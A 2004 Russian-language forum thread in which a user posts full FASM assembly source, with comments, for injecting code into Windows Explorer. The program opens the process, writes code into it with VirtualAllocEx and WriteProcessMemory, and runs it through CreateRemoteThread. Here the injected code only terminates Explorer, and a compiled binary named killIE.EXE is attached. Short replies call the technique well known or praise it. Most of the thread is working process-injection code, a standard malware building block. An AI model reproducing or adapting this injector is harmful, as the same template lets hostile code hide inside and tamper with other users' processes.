VPF::code injection - Форум программистов

oleg1973

Дата 28.11.2004, 18:38 (ссылка)

(нет голосов)

Загрузка ...

asm fanat

Профиль
Группа: Экс. модератор
Сообщений: 3283
Регистрация: 16.7.2003
Где: Italy

Репутация: 2
Всего: 34

вот тут кое кто спросил меня как происходит данный процесс
для тех кто не понял, внедрение своего кода в адресное пространство другого процесса.
вот исходник набросал с некоторыми коментами
после компиляции получим файл которы запускает свой код в explorere
делает ExitProcess для explorera и тот перезагружается

Код


format PE GUI 4.0
csize=mycodeE-mycode;размер нашего кода
entry start
include '%fasminc%\win32a.inc'
include '%fasminc%\api.inc'

section '.code' code readable executable writeable
start:

        call reloc
        call findEXP
        call writeproc
        invoke CreateRemoteThread,[phdr],0,0x1000,[mbase],0,0,0; создаем remote thread
        invoke ExitProcess,0
reloc:
        mov eax,[ExitProcess]    ;берем адрес функц ExitProcess
        mov [ExitProcessz],eax  ;и прячем :) 
        ret

writeproc:
        invoke VirtualAllocEx,[phdr],0,0x1000,MEM_COMMIT,PAGE_EXECUTE_READWRITE 
      ; выделяем память в процессе ехплорера
        mov [mbase],eax
        invoke WriteProcessMemory,[phdr],[mbase],mycode,csize,0; пишем туда наш код
        ret

findEXP:
        invoke FindWindow,clss,0                                              ;ищем окно ехплорера по классу
        invoke GetWindowThreadProcessId,eax,pid                  ; берем ID процесса ехплорера
        invoke OpenProcess,PROCESS_ALL_ACCESS,TRUE,[pid]; открываем процесс 
        mov [phdr],eax
        ret
;*******************************
mycode:
        call z1
z1:
        pop esi
        mov edi,esi
        add esi,importz-z1
        push 0
        call dword [esi];в esi указатель на ExitProcessz, фактически делаем invoke ExitProcess,0

;*******************************
importz:
ExitProcessz:
        dd 0
mycodeE:
;*******************************
clss:
        db 'Shell_TrayWnd',0;класс окна explorer
pid:
        dd ?
phdr:
        dd ?
mbase:
        dd ?
sinfo STARTUPINFO
pinfo PROCESS_INFORMATION

данная технология открывает широкий простор для деятельности
p.s.
работает только в NT/XP

Присоединённый файл ( Кол-во скачиваний: 8 )

killIE.EXE

--------------------

SST 465555
icq 200-512-712

Akina

Дата 29.11.2004, 09:39 (ссылка)

(нет голосов)

Загрузка ...

Советчик

Профиль
Группа: Модератор
Сообщений: 20581
Регистрация: 8.4.2004
Где: Зеленоград

Репутация: 1
Всего: 454

Технология замещения кода программы своим (возможно без сохранения исходного кода) называется сплайсинг и широко известна.

--------------------

О(б)суждение моих действий - в соответствующей теме, пожалуйста. Или в РМ. И высшая инстанция - Администрация форума.

oleg1973

Дата 29.11.2004, 12:57 (ссылка)

(нет голосов)

Загрузка ...

asm fanat

Профиль
Группа: Экс. модератор
Сообщений: 3283
Регистрация: 16.7.2003
Где: Italy

Репутация: 2
Всего: 34

а я и не претендую на открытие smile

--------------------

SST 465555
icq 200-512-712

au100

Дата 11.6.2005, 18:00 (ссылка)

(нет голосов)

Загрузка ...

Новичок

Профиль
Группа: Участник
Сообщений: 3
Регистрация: 11.6.2005

Репутация: нет
Всего: нет

Хорошая весчь. smile

0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема \| Asm для Windows/Dos \| Следующая тема »